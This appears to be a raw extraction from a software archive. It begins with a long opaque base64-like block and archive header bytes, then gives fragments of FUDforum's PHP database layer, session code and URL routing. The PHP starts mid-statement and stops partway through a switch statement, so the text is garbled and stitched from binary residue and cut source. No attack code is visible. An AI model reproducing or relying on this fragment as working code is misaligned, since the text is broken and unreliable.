dedameqgEpZ0Q02Xd1VGj9oC5kOo8aB2lIhZ3Uiop9xGgcKcJHOKaZhOHb1Cx8w6YdOsdkk8aFcu
240rINluX43BrtZjNL78IrYzhMkzH8A439rbJIa/KPOY+mAaLG/K/VhDwZ66DKoE8MgVKBuq1i+y
yMEKoi0Fy5JFZRrVLx6OxyD2wNXv8jWfkvAbLUUPj8RU9tmqBZqo1dlbL7jgjw6FsgKZaekUw2TG
xudP3FkJIgg+xJkgs70789BIR9UWBhpdYA2M9pQU1YUP8drxcUIIm4OxL5cVnK6+Zsgu7FOkkbOb
yRGFNwPvo8e+HdFTUoHhU9vb3oz2S9Ha14rXFh+49WhwRpiLFogccjhlGuJ0CmTV9RJvycnE7mRi
DyWvYi1T82WQZqr2OK8mdoqOliSslMPrQ0kPtXCY3DUTLFo4IrZj7bHiHSmlYY6fVcvh0TVd0lBQ
SI4mTAtte2Y9Fb9iqpLDf92Ds6bcd2c99akm7nsXloY7YKC9kjYa5Moeb+SbPjy5Xfpfvp9x14BR
NK1CQC9SZuChHnVZgZP06wbsl87JeOr8CY4UJr1/fSyuUI6eLe3W20ql8vsvr3FXz3a7vFjpKisk
pT6GVqtXMEd761Y2FiaAvCYQGQnqkCMLgrWl9xszUWnIcDSNq94RvWA/Gr35MEzoz3KdsGvZg7J/
8NRaozZAX5QeAWs/kmFkRwKCBpOeBYljFuKS9aVq29Uw8QkfY4ADMffSue7yQnryyR7lozl9E0vG
N8g48pBXO2pDvHp9MdXAPzYQvozeAtqfjbAmlOCnp7WbBUWWMKzCjE9jzkl+ZtzsKvOrQCF7J/2z
+rOkzU/SEiVykMGs52jonNbYBJdk0lXZFv2k66jgmrNdRflwMPKhECKGlG85qmz1Tst8eX/Zd2H3
IFBVSQPMjM5139kE0oo2vDbGrSJyjf0ZYFSdRKkIXa2ke+6i56ojhFxA11mBh9VrxZ9qZNCUdJPz
qnb3LBMresGZlyoTPJXdhi0kE8dxf4e04e67MtsiR1hSqOxCbtpYRUN69cP4af0L4T8a5OQ6vhGW
6tCoPKSik2xYgdLr5rcKJYvyQ7UtPDqGQCo+WgeMoYhaIhGk1yVCt7yh7G1F/ouUAYU+OP6vGjsO
w8c5JY2ZFfsS5ilE10IwOYjWpikgibAbNakICH53pjQDCDrfS7yEVPjr1moBDshw8IP5lIjOH6o7
hmfqp0fEKSSK7B06ADXrlQZmxaEKUlXKWN1PA/0vhbrlv8xakFbffoXKUOSZ2KTakXaAaNkg2XJX
zPXriP/7XxTnDTYQFHIzJvGG3SGn4+Jc16+/Hm2d0yhWpkaVjXkKhfu3a8C1gnSGZkbPaOzV9n/b
0NhX6Zr/4BCGOMCr7fmsWkYqb3lgJgQVFnurnwf6c0RHR7EtNLEudfnHVFCWQhSpkphiJYJk0Fxi
Of/LvfqjJSslYBVPOXKl6AgA0PmTxmoUMWAubraDRDXJDau5QzZlNfFC+VeOtSFMBvv2svWkzRFH
2lFtAqXsFtjQkhC2aSg8qBxZxO0zPnz2GEhtaPjxXvWDBXK7WA6trVkjMgF8Ny/MIKGiO8lerin2
AW9XPtkLwLaMna5OUTHmztFuBOjmS3zpcnaA+jzcwhtyMle+t+a3tEDlBOVAB12fO8FzsW194YVC
l3cJBWxNiSvVjaq++6ZJg/VmOp16NwnDEaUVHRljZz6URXXfiVybBYbk++8vxKAXzaesRGdlAnKs
Ml2Xa7RphrHKVzSiqzj4vd/07EmfYvNOZh23t8OT6uiLMzeiZEoGkuwLJB0pPA+nhVFl9PDufzMd
VCNIbrXr1Ku/aHO2Zg7UR1hdT4ZNclJ8UBBFMJgE5vOo4C/C5mQaH36Oo0==PKl0]wNM	index.phpnu[report_mode = MYSQLI_REPORT_OFF;

	if (substr($GLOBALS['DBHOST'], 0, 1) == ':') {	// Socket connection.
		$socket = substr($GLOBALS['DBHOST'], 1);
		$GLOBALS['DBHOST'] = 'localhost';
	} else {
		$socket = NULL;
	}

	if ($GLOBALS['FUD_OPT_1'] & 256 && $socket == NULL && version_compare(PHP_VERSION, '5.3.0', '>=')) {	// Enable pconnect for PHP 5.3+.
		$GLOBALS['DBHOST'] = 'p:'. $GLOBALS['DBHOST'];
	}

	db::$db = new mysqli($GLOBALS['DBHOST'], $GLOBALS['DBHOST_USER'], $GLOBALS['DBHOST_PASSWORD'], $GLOBALS['DBHOST_DBNAME'], NULL, $socket);
	if (mysqli_connect_errno()) {
		fud_sql_error_handler('Failed to establish database connection', 'MySQLi says: '. mysqli_connect_error(), mysqli_connect_errno(), '');
	}
	db::$db->set_charset('utf8');

	/* Connect to slave, if specified. */
	if (!empty($GLOBALS['DBHOST_SLAVE_HOST']) && !$GLOBALS['is_post']) {
		db::$slave = new mysqli($GLOBALS['DBHOST'], $GLOBALS['DBHOST_USER'], $GLOBALS['DBHOST_PASSWORD'], $GLOBALS['DBHOST_DBNAME'], NULL, $socket);
		if (mysqli_connect_errno()) {
			fud_logerror('Unable to init SlaveDB, fallback to MasterDB: '. mysqli_connect_error(), 'sql_errors');
		} else {
			db::$db->set_charset('utf8');
		}
	}

	define('__dbtype__', 'mysql');
}

function db_close()
{
	 db::$db->close();
}

function db_version()
{
	if (!defined('__FUD_SQL_VERSION__')) {
		$ver = q_singleval('SELECT VERSION()');
		define('__FUD_SQL_VERSION__', $ver);
	}
	return __FUD_SQL_VERSION__;
}

function db_lock($tables)
{
	if (!empty($GLOBALS['__DB_INC_INTERNALS__']['db_locked'])) {
		fud_sql_error_handler('Recursive Lock', 'internal', 'internal', db_version());
	} else {
		q('LOCK TABLES '. $tables);
		$GLOBALS['__DB_INC_INTERNALS__']['db_locked'] = 1;
	}
}

function db_unlock()
{
	if (empty($GLOBALS['__DB_INC_INTERNALS__']['db_locked'])) {
		unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']);
		fud_sql_error_handler('DB_UNLOCK: no previous lock established', 'internal', 'internal', db_version());
	}

	if (--$GLOBALS['__DB_INC_INTERNALS__']['db_locked'] < 0) {
		unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']);
		fud_sql_error_handler('DB_UNLOCK: unlock overcalled', 'internal', 'internal', db_version());
	}
	unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']);
	q('UNLOCK TABLES');
}

function db_locked()
{
	return isset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']);
}

function db_affected()
{
	return db::$db->affected_rows;
}

function uq($query)
{
	$db = db::$db;
	$r = $db->real_query($query);
	if ($db->error) {
		fud_sql_error_handler($query, $db->error, $db->errno, db_version());
	}
	return $db->use_result();
}

if (!defined('fud_query_stats')) {
	function q($query)
	{
		// Assume master DB, route SELECT's to slave DB.
		// Force master if DB is locked (in transaction) or 'SELECT /* USE MASTER */'.
		$db = db::$db;
		if (!empty(db::$slave) && !db_locked() && !strncasecmp($query, 'SELECT', 6) && strncasecmp($query, 'SELECT /* USE MASTER */', 23)) {
			$db = db::$slave;
		}

		$r = $db->query($query);
		if ($db->error) {
			fud_sql_error_handler($query, $db->error, $db->errno, db_version());
		}
		return $r;
	}
} else {
	function q($query)
	{
		if (!isset($GLOBALS['__DB_INC_INTERNALS__']['query_count'])) {
			$GLOBALS['__DB_INC_INTERNALS__']['query_count'] = 1;
		} else {
			++$GLOBALS['__DB_INC_INTERNALS__']['query_count'];
		}
	
		if (!isset($GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'])) {
			$GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'] = 0;
		}

		// Assume master DB, route SELECT's to slave DB.
		// Force master if DB is locked (in transaction) or 'SELECT /* USE MASTER */'.
		$db = db::$db;
		if (!empty(db::$slave) && !db_locked() && !strncasecmp($query, 'SELECT', 6) && strncasecmp($query, 'SELECT /* USE MASTER */', 23)) {
			$db = db::$slave;
		}

		$s = microtime(true);
		$result = $db->query($query);
		if ($db->error) {
			fud_sql_error_handler($query, $db->error, $db->errno, db_version());
		}
		$e = microtime(true);

		$GLOBALS['__DB_INC_INTERNALS__']['last_time'] = ($e - $s);
		$GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'] += $GLOBALS['__DB_INC_INTERNALS__']['last_time'];

		echo '
Query #'. $GLOBALS['__DB_INC_INTERNALS__']['query_count'] .''; echo ': time taken: '. number_format($GLOBALS['__DB_INC_INTERNALS__']['last_time'], 4) .''; echo ', affected rows: '. db_affected() .''; echo ', total sql time: '. number_format($GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'], 4) .''; echo '
'. preg_replace('!\s+!', ' ', htmlspecialchars($query)) .'
'; return $result; } } function db_rowobj($result) { return $result->fetch_object(); } function db_rowarr($result) { return $result->fetch_row(); } function q_singleval($query) { $r = q($query); if (($result = $r->fetch_row()) !== false && isset($result)) { return isset($result) ? $result[0] : ''; } } function q_limit($query, $limit, $off=0) { return $query .' LIMIT '. $limit .' OFFSET '. $off; } function q_concat($arg) { // MySQL badly breaks the SQL standard by redefining || to mean OR. $tmp = func_get_args(); return 'CONCAT('. implode(',', $tmp) .')'; } function q_rownum() { q('SET @seq=0'); // For simulating rownum. return '(@seq:=@seq+1)'; } function q_bitand($fieldLeft, $fieldRight) { return $fieldLeft .' & '. $fieldRight; } function q_bitor($fieldLeft, $fieldRight) { return '('. $fieldLeft .' | '. $fieldRight .')'; } function q_bitnot($bitField) { return '~'. $bitField; } function db_saq($q) { $r = q($q); return $r->fetch_row() ; } function db_sab($q) { $r = q($q); return $r->fetch_object(); } function db_qid($q) { q($q); return db::$db->insert_id; } function db_arr_assoc($q) { $r = q($q); return $r->fetch_array(MYSQLI_ASSOC); } function db_fetch_array($r) { return is_object($r) ? $r->fetch_array(MYSQLI_ASSOC) : null; } function db_li($q, &$ef, $li=0) { $r = db::$db->query($q); if ($r) { return ($li ? db::$db->insert_id : $r); } /* Duplicate key. */ if (db::$db->errno == 1062) { $ef = ltrim(strrchr(db::$db->error, ' ')); return null; } else { fud_sql_error_handler($q, db::$db->error, db::$db->errno, db_version()); } } function ins_m($tbl, $flds, $types, $vals) { q('INSERT IGNORE INTO '. $tbl .' ('. $flds .') VALUES ('. implode('),(', $vals) .')'); } function db_all($q) { $f = array(); $c = uq($q); while ($r = $c->fetch_row()) { $f[] = $r[0]; } return $f; } function _esc($s) { return '\''. db::$db->real_escape_string($s ?? '') .'\''; }function ses_make_sysid() { if ($GLOBALS['FUD_OPT_2'] & 256) { // MULTI_HOST_LOGIN return; } $keys = array('REMOTE_USER', 'HTTP_USER_AGENT', 'SERVER_PROTOCOL', 'HTTP_ACCEPT_CHARSET', 'HTTP_ACCEPT_LANGUAGE'); if ($GLOBALS['FUD_OPT_3'] & 16) { // SESSION_IP_CHECK $keys[] = 'HTTP_X_FORWARDED_FOR'; $keys[] = 'REMOTE_ADDR'; } $pfx = ''; foreach ($keys as $v) { if (isset($_SERVER[$v])) { $pfx .= $_SERVER[$v]; } } return md5($pfx); } function ses_get($id=0) { $HTTP_USER_AGENT = $_SERVER['HTTP_USER_AGENT'] ?? ''; $HTTP_REFERER = $_SERVER['HTTP_REFERER'] ?? ''; if (!$id) { /* Cookie or URL session? If not, check for known bots. */ $cookie = $_COOKIE[$GLOBALS['COOKIE_NAME']] ?? null; if ($cookie) { /* Have cookie? */ $q_opt = 's.ses_id='. _esc($cookie); } else if ((isset($_GET['S']) || isset($_POST['S'])) && $GLOBALS['FUD_OPT_1'] & 128) { /* Have session string */ $url_session = 1; $q_opt = 's.ses_id='. _esc((isset($_GET['S']) ? (string) $_GET['S'] : (string) $_POST['S'])); /* Do not validate against expired URL sessions. */ $q_opt .= ' AND s.time_sec > '. (__request_timestamp__ - $GLOBALS['SESSION_TIMEOUT']); } else { /* Unknown user, maybe a bot? */ // Auto login authorized bots. // To test: wget --user-agent="Googlebot 1.2" http://127.0.0.1:8080/forum $spider_session = 0; $my_ip = get_ip(); include $GLOBALS['FORUM_SETTINGS_PATH'] .'spider_cache'; foreach ($spider_cache as $spider_id => $spider) { if (preg_match('/'. $spider['useragent'] .'/i', $HTTP_USER_AGENT)) { if (empty($spider['bot_ip'])) { $spider_session = 1; // Agent matched, no IPs to check. break; } else { foreach (explode(',', $spider['bot_ip']) as $bot_ip) { if (!($bot_ip = trim($bot_ip))) { continue; } if (strpos($bot_ip, $my_ip) === 0) { $spider_session = 1; // Agent and an IP matched. break 2; } } } } } if ($spider_session) { if ($spider['bot_opts'] & 2) { // Access blocked. header('HTTP/1.1 403 Forbidden', true, 403); echo 'Go away!'; exit; } if ($id = db_li('INSERT INTO fud30_ses (ses_id, time_sec, sys_id, ip_addr, useragent, user_id) VALUES (\''. $spider['botname'] .'\', '. __request_timestamp__ .', '. _esc(ses_make_sysid()) .', '. _esc($my_ip) .', '. _esc(substr($HTTP_USER_AGENT, 0, 64)) .', '. $spider['user_id'] .')', $ef, 1)) { $q_opt = 's.id='. $id; } else { $q_opt = 's.ses_id='. _esc($spider['botname']); } $GLOBALS['FUD_OPT_1'] ^= 128; // Disable URL sessions for user. } else { /* NeXuS: What is this? Return if user unknown? Function should return only after the query is run. */ //return; // Check sys_id, ip_addr and useragent for a possible match $q_opt = 's.sys_id= '._esc(ses_make_sysid()). ' AND s.ip_addr='._esc(get_ip()). ' AND s.useragent='._esc(substr($HTTP_USER_AGENT, 0, 64)); } } /* ENABLE_REFERRER_CHECK */ if ($GLOBALS['FUD_OPT_3'] & 4 && strncmp($HTTP_REFERER, $GLOBALS['WWW_ROOT'], strlen($GLOBALS['WWW_ROOT']))) { /* More checks, we need those because some proxies mangle referer field. */ $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; /* $p > 8 https:// or http:// */ if (($p = strpos($HTTP_REFERER, $host)) === false || $p > 8) { $q_opt .= ' AND s.user_id > 2000000000 '; // Different referrer, force anonymous. } } } else { $q_opt = 's.id='. $id; } $u = db_sab('SELECT s.id AS sid, s.ses_id, s.data, s.returnto, s.sys_id, t.id AS theme_id, t.lang, t.name AS theme_name, t.locale, t.theme, t.pspell_lang, t.theme_opt, u.alias, u.posts_ppg, u.time_zone, u.sig, u.last_visit, u.last_read, u.cat_collapse_status, u.users_opt, u.posted_msg_count, u.topics_per_page, u.ignore_list, u.buddy_list, u.id, u.group_leader_list, u.email, u.login, u.sq, u.ban_expiry, u.ban_reason, u.flag_cc FROM fud30_ses s INNER JOIN fud30_users u ON u.id=(CASE WHEN s.user_id>2000000000 THEN 1 ELSE s.user_id END) LEFT OUTER JOIN fud30_themes t ON t.id=u.theme WHERE '. $q_opt); /* Anon user, no session or login. */ if (!$u || $u->id == 1 || $id) { return $u; } if ($u->sys_id == ses_make_sysid()) { return $u; } else if ($GLOBALS['FUD_OPT_3'] & 16 || isset($url_session)) { /* URL sessions must validate sys_id check and SESSION_IP_CHECK must be disabled */ return; } /* Try doing a strict SQ match in last-ditch effort to make things 'work'. */ if (isset($_POST['SQ']) && $_POST['SQ'] == $u->sq) { return $u; } return; } /** Create an anonymous session. */ function ses_anon_make() { $HTTP_USER_AGENT = substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 64); // Prevent forum scraping and brute force attacks. if ($GLOBALS['MAX_CALLS_FROM_IP'] > 0) { $ip_count = q_singleval('SELECT count(ip_addr) FROM fud30_ses WHERE ip_addr = '. _esc(get_ip())); if ($ip_count > $GLOBALS['MAX_CALLS_FROM_IP']) { header('HTTP/1.1 429 Too Many Requests', true, 429); echo 'Too Many Requests'; exit; } } do { $uid = 2000000000 + mt_rand(1, 147483647); $ses_id = md5($uid . __request_timestamp__ . getmypid()); } while (!($id = db_li('INSERT INTO fud30_ses (ses_id, time_sec, sys_id, ip_addr, useragent, user_id) VALUES (\''. $ses_id .'\', '. __request_timestamp__ .', '. _esc(ses_make_sysid()) .', '. _esc(get_ip()) .', '. _esc($HTTP_USER_AGENT) .', '. $uid .')', $ef, 1))); /* When we have an anon user, we set a special cookie allowing us to see who referred this user. */ if (isset($_GET['rid']) && !isset($_COOKIE['frm_referer_id']) && $GLOBALS['FUD_OPT_2'] & 8192) { setcookie($GLOBALS['COOKIE_NAME'] .'_referer_id', $_GET['rid'], __request_timestamp__+31536000, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } if ($GLOBALS['FUD_OPT_3'] & 1) { // SESSION_COOKIES setcookie($GLOBALS['COOKIE_NAME'], $ses_id, 0, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } else { setcookie($GLOBALS['COOKIE_NAME'], $ses_id, __request_timestamp__+$GLOBALS['COOKIE_TIMEOUT'], $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } return ses_get($id); } /** Update session status to indicate last known action. */ function ses_update_status($ses_id, $action=null, $forum_id=0, $ret='') { if (empty($ses_id)) { header('HTTP/1.1 400 Bad Request', true, 400); echo 'FATAL ERROR: No session, check your forum\'s URL and COOKIE settings.'; exit; } if (strlen($_SERVER['QUERY_STRING'] ?? '') > 255) { // Query string exceeds 'returnto' column length. header('HTTP/1.1 414 URI Too Long', true, 414); echo 'FATAL ERROR: QUERY_STRING too long!'; exit; } $sys_id = ses_make_sysid(); q('UPDATE fud30_ses SET sys_id=\''. $sys_id .'\', forum_id='. (int)$forum_id .', time_sec='. __request_timestamp__ .', action='. ($action ? _esc($action) : 'NULL') .', returnto='. (!is_int($ret) ? (isset($_SERVER['QUERY_STRING']) ? _esc($_SERVER['QUERY_STRING']) : 'NULL') : 'returnto') .' WHERE id='. $ses_id); } /** Save or clear a session variable. */ function ses_putvar($ses_id, $data) { $cond = is_int($ses_id) ? 'id='. (int)$ses_id : 'ses_id=\''. $ses_id .'\''; if (empty($data)) { q('UPDATE fud30_ses SET data=NULL WHERE '. $cond); } else { q('UPDATE fud30_ses SET data='. _esc(serialize($data)) .' WHERE '. $cond); } } /** Destroy a session. */ function ses_delete($ses_id) { // Delete all forum sessions. // Regardless of MULTI_HOST_LOGIN, all sessions will be terminated. q('DELETE FROM fud30_ses WHERE id='. (int)$ses_id); setcookie($GLOBALS['COOKIE_NAME'], '', __request_timestamp__-100000, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); return 1; } function ses_anonuser_auth($id, $error) { if (!empty($_POST)) { $_SERVER['QUERY_STRING'] = ''; } q('UPDATE fud30_ses SET data='. _esc(serialize($error)) .', returnto='. ssn($_SERVER['QUERY_STRING']) .' WHERE id='. $id); if ($GLOBALS['FUD_OPT_2'] & 32768) { // USE_PATH_INFO header('Location: [[relativeurl]]/index.php/l/'. _rsidl); } else { header('Location: [[relativeurl]]/index.php?t=login&'. _rsidl); } exit; }function &init_user() { $o1 =& $GLOBALS['FUD_OPT_1']; $o2 =& $GLOBALS['FUD_OPT_2']; $o3 =& $GLOBALS['FUD_OPT_3']; $o4 =& $GLOBALS['FUD_OPT_4']; if ($o2 & 32768 && empty($_SERVER['PATH_INFO']) && !empty($_SERVER['ORIG_PATH_INFO'])) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } /* We need to parse S & rid right away since they are used during user init. */ if ($o2 & 32768 && !empty($_SERVER['PATH_INFO']) && empty($_GET['t'])) { // USE_PATH_INFO $pb = $p = explode('/', trim($_SERVER['PATH_INFO'], '/')); if ($o1 & 128) { // SESSION_USE_URL $_GET['S'] = array_pop($p); } if ($o2 & 8192) { // TRACK_REFERRALS $_GET['rid'] = array_pop($p); } $_SERVER['QUERY_STRING'] = htmlspecialchars($_SERVER['PATH_INFO']) .'?'. $_SERVER['QUERY_STRING']; /* Default to index or blog page. */ if (!isset($p[0])) { if ($o4 & 16 && $o4 & 32) { // Blog enabled and set as home page. $p[0] = 'blog'; } else { $p[0] = 'i'; } } /* Notice prevention code. */ for ($i = 1; $i < 5; $i++) { if (!isset($p[$i])) { $p[$i] = null; } } switch ($p[0]) { case 'm': /* goto specific message */ $_GET['t'] = 0; $_GET['goto'] = $p[1]; if (isset($p[2])) { $_GET['th'] = $p[2]; if (isset($p[3]) && is_numeric($p[3])) { $_GET['start'] = $p[3]; if ($p[3]) { $_GET['t'] = 'msg'; unset($_GET['goto']); } if (isset($p[4])) { if ($p[4] === 'prevloaded') { $_GET['prevloaded'] = 1; $i = 5; } else { $i = 4; } if (isset($p[$i])) { $_GET['rev'] = $p[$i]; if (isset($p[$i+1])) { $_GET['reveal'] = $p[$i+1]; } } } } } break; case 't': /* view thread */ $_GET['t'] = 0; $_GET['th'] = $p[1]; if (isset($p[2]) && is_numeric($p[2])) { // START is not currently used for thread paging. // Set to 0, but keep code for possible future implementation. // $_GET['start'] = $p[2]; $_GET['start'] = 0; if (!empty($p[3])) { $_GET[$p[3]] = 1; } } break; case 'f': /* view forum */ $_GET['t'] = 1; $_GET['frm_id'] = $p[1]; if (isset($p[2])) { $_GET['start'] = $p[2]; if (isset($p[3])) { if ($p[3] === '0') { $_GET['sub'] = 1; } else { $_GET['unsub'] = 1; } } } break; case 'r': $_GET['t'] = 'post'; $_GET[$p[1]] = $p[2]; if (isset($p[3])) { $_GET['reply_to'] = $p[3]; if (isset($p[4])) { if ($p[4]) { $_GET['quote'] = 'true'; } if (isset($p[5])) { $_GET['start'] = $p[5]; } } } break; case 'u': /* view user's info */ $_GET['t'] = 'usrinfo'; $_GET['id'] = $p[1]; break; case 'i': $_GET['t'] = 'index'; if (isset($p[1])) { $_GET['cat'] = (int) $p[1]; } break; case 'fa': $_GET['t'] = 'getfile'; $_GET['id'] = isset($p[1]) ? $p[1] : $pb[1]; if (!empty($p[2])) { $_GET['private'] = 1; } break; case 'sp': /* show posts */ $_GET['t'] = 'showposts'; $_GET['id'] = $p[1]; if (isset($p[2])) { $_GET['so'] = $p[2]; if (isset($p[3])) { $_GET['start'] = $p[3]; } } break; case 'l': /* login/logout */ $_GET['t'] = 'login'; if (isset($p[1])) { $_GET['logout'] = 1; } break; case 'e': $_GET['t'] = 'error'; break; case 'st': $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; $_GET['notify'] = $p[3]; $_GET['opt'] = $p[4] ? 'on' : 'off'; if (isset($p[5])) { $_GET['start'] = $p[5]; } break; case 'sf': $_GET['t'] = $p[1]; $_GET['frm_id'] = $p[2]; $_GET[$p[3]] = 1; $_GET['start'] = $p[4]; break; case 'sl': /* subscribed topic list */ $_GET['t'] = 'subscribed'; if ($p[1] == 'start') { $_GET['start'] = $p[2]; } else { if (isset($p[2])) { $_GET['th'] = $p[2]; } else if (isset($p[1])) { $_GET['frm_id'] = $p[1]; } } break; case 'bml': /* bookmark list */ $_GET['t'] = 'bookmarked'; if ($p[1] == 'start') { $_GET['start'] = $p[2]; } else { if (isset($p[2])) { $_GET['th'] = $p[2]; } } break; case 'pmm': $_GET['t'] = 'ppost'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; if (isset($p[3])) { $_GET['rmid'] = $p[3]; } } break; case 'pmv': $_GET['t'] = 'pmsg_view'; $_GET['id'] = $p[1]; if (isset($p[2])) { $_GET['dr'] = 1; } break; case 'pdm': $_GET['t'] = 'pmsg'; if (isset($p[1])) { if ($p[1] !== 'btn_delete') { $_GET['folder_id'] = $p[1]; } else { $_GET['btn_delete'] = 1; $_GET['sel'] = $p[2]; } if (isset($p[3])) { $_GET['s'] = $p[3]; $_GET['o'] = $p[4]; $_GET['start'] = $p[5]; } } break; case 'pl': /* poll list */ $_GET['t'] = 'polllist'; if (isset($p[1])) { $_GET['uid'] = $p[1]; if (isset($p[2])) { $_GET['start'] = $p[2]; if (isset($p[3])) { $_GET['oby'] = $p[3]; } } } break; case 'ml': /* member list */ $_GET['t'] = 'finduser'; if (isset($p[1])) { switch ($p[1]) { case 1: case 2: $_GET['pc'] = $p[1]; break; case 3: case 4: $_GET['us'] = $p[1]; break; case 5: case 6: $_GET['rd'] = $p[1]; break; case 7: case 8: $_GET['fl'] = $p[1]; break; case 9: case 10: $_GET['lv'] = $p[1]; break; } if (isset($p[2])) { $_GET['start'] = $p[2]; if (isset($p[3])) { $_GET['usr_login'] = urldecode($p[3]); if (isset($p[4])) { $_GET['js_redr'] = $p[5]; } } } } break; case 'h': /* help */ $_GET['t'] = 'help_index'; if (isset($p[1])) { $_GET['section'] = $p[1]; } break; case 'cv': /* change thread view mode */ $_GET['t'] = $p[1]; $_GET['frm_id'] = $p[2]; break; case 'mv': /* change message view mode */ $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; if (isset($p[3])) { if ($p[3] !== '0') { $_GET['goto'] = $p[3]; } else { $_GET['prevloaded'] = 1; $_GET['start'] = $p[4]; if (isset($p[5])) { $_GET['rev'] = $p[5]; if (isset($p[6])) { $_GET['reveal'] = $p[6]; } } } } break; case 'pv': $_GET['t'] = 0; if (isset($p[1])) { $_GET['goto'] = q_singleval('SELECT id FROM fud30_msg WHERE poll_id='.(int)$p[1]); $_GET['pl_view'] = empty($p[2]) ? 0 : (int)$p[2]; } break; case 'rm': /* report message */ $_GET['t'] = 'report'; $_GET['msg_id'] = $p[1]; break; case 'rl': /* list of reported messages */ $_GET['t'] = 'reported'; if (isset($p[1])) { $_GET['del'] = $p[1]; } break; case 'd': /* delete thread/message */ $_GET['t'] = 'mmod'; $_GET['del'] = $p[1]; if (isset($p[2])) { $_GET['th'] = $p[2]; } break; case 'em': /* email forum member */ $_GET['t'] = 'email'; $_GET['toi'] = $p[1]; break; case 'mar': /* mark all/forum read */ $_GET['t'] = 'markread'; if (isset($p[1])) { $_GET['id'] = $p[1]; if (isset($p[2])) { $_GET['cat'] = $p[2]; } } break; case 'bl': /* buddy list */ $_GET['t'] = 'buddy_list'; if (isset($p[1])) { if (!empty($p[2])) { $_GET['add'] = $p[1]; } else { $_GET['del'] = $p[1]; } if (isset($p[3])) { $_GET['redr'] = 1; } } break; case 'il': /* ignore list */ $_GET['t'] = 'ignore_list'; if (isset($p[1])) { if (!empty($p[2])) { $_GET['add'] = $p[1]; } else { $_GET['del'] = $p[1]; } if (isset($p[3])) { $_GET['redr'] = 1; } } break; case 'lk': /* lock/unlock thread */ $_GET['t'] = 'mmod'; $_GET['th'] = $p[1]; $_GET[$p[2]] = 1; break; case 'stt': /* split thread */ $_GET['t'] = 'split_th'; if (isset($p[1])) { $_GET['th'] = $p[1]; } break; case 'ef': /* email to friend */ $_GET['t'] = 'remail'; $_GET['th'] = $p[1]; break; case 'lr': /* list referers */ $_GET['t'] = 'list_referers'; if (isset($p[1])) { $_GET['start'] = $p[1]; } break; case 'a': $_GET['t'] = 'actions'; if (isset($p[1], $p[2])) { $_GET['o'] = $p[1]; $_GET['s'] = $p[2]; } break; case 's': $_GET['t'] = 'search'; if (isset($p[1])) { $_GET['srch'] = urldecode($p[1]); $_GET['field'] = isset($p[2]) ? $p[2] : ''; $_GET['search_logic'] = isset($p[3]) ? $p[3] : ''; $_GET['sort_order'] = isset($p[4]) ? $p[4] : ''; $_GET['forum_limiter'] = isset($p[5]) ? $p[5] : ''; $_GET['start'] = isset($p[6]) ? $p[6] : ''; $_GET['author'] = isset($p[7]) ? $p[7] : ''; } break; case 'p': if (!is_numeric($p[1])) { $_GET[$p[1]] = $p[2]; } else { $_GET['frm'] = $p[1]; $_GET['page'] = $p[2]; } break; case 'ot': $_GET['t'] = 'online_today'; if (isset($p[1], $p[2])) { $_GET['o'] = $p[1]; $_GET['s'] = $p[2]; } break; case 're': $_GET['t'] = 'register'; if (isset($p[1])) { $_GET['reg_coppa'] = $p[1]; } break; case 'tt': $_GET['t'] = $p[1]; $_GET['frm_id'] = $p[2]; break; case 'mh': $_GET['t'] = 'mvthread'; $_GET['th'] = $p[1]; if (isset($p[2], $p[3])) { $_GET[$p[2]] = $p[3]; } break; case 'mn': $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; $_GET['notify'] = $p[3]; $_GET['opt'] = $p[4]; if (isset($p[5])) { if ($p[1] == 'msg') { $_GET['start'] = $p[5]; } else { $_GET['mid'] = $p[5]; } } break; case 'bm': /* bookmark/unbookmark a topic */ $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; $_GET['bookmark'] = $p[3]; $_GET['opt'] = $p[4]; if (isset($p[5])) { if ($p[1] == 'msg') { $_GET['start'] = $p[5]; } else { $_GET['mid'] = $p[5]; } } break; case 'tr': $_GET['t'] = 'ratethread'; break; case 'gm': $_GET['t'] = 'groupmgr'; if (isset($p[1], $p[2], $p[3])) { $_GET[$p[1]] = $p[2]; $_GET['group_id'] = $p[3]; } break; case 'te': $_GET['t'] = 'thr_exch'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; } break; case 'mq': $_GET['t'] = 'modque'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; } break; case 'pr': $_GET['t'] = 'pre_reg'; $_GET['coppa'] = $p[1]; break; case 'qb': $_GET['t'] = 'qbud'; break; case 'po': $_GET['t'] = 'poll'; $_GET['frm_id'] = $p[1]; if (isset($p[2])) { $_GET['pl_id'] = $p[2]; if (isset($p[3], $p[4])) { $_GET[$p[3]] = $p[4]; } } break; case 'sm': $_GET['t'] = 'smladd'; break; case 'mk': $_GET['t'] = 'mklist'; $_GET['tp'] = $p[1]; break; case 'rp': $_GET['t'] = 'rpasswd'; break; case 'as': $_GET['t'] = 'avatarsel'; break; case 'sel': $_GET['t'] = 'selmsg'; $c = count($p) - 1; if ($c % 2) { --$c; } $c /= 2; $i = 0; while ($c--) { $_GET[$p[++$i]] = $p[++$i]; } break; case 'pml': $_GET['t'] = 'pmuserloc'; $_GET['js_redr'] = $p[1]; if (isset($p[2])) { $_GET['overwrite'] = 1; } break; case 'rst': $_GET['t'] = 'reset'; if (isset($p[1])) { $_GET['email'] = urldecode($p[1]); } break; case 'cpf': $_GET['t'] = 'coppa_fax'; break; case 'cp': $_GET['t'] = 'coppa'; break; 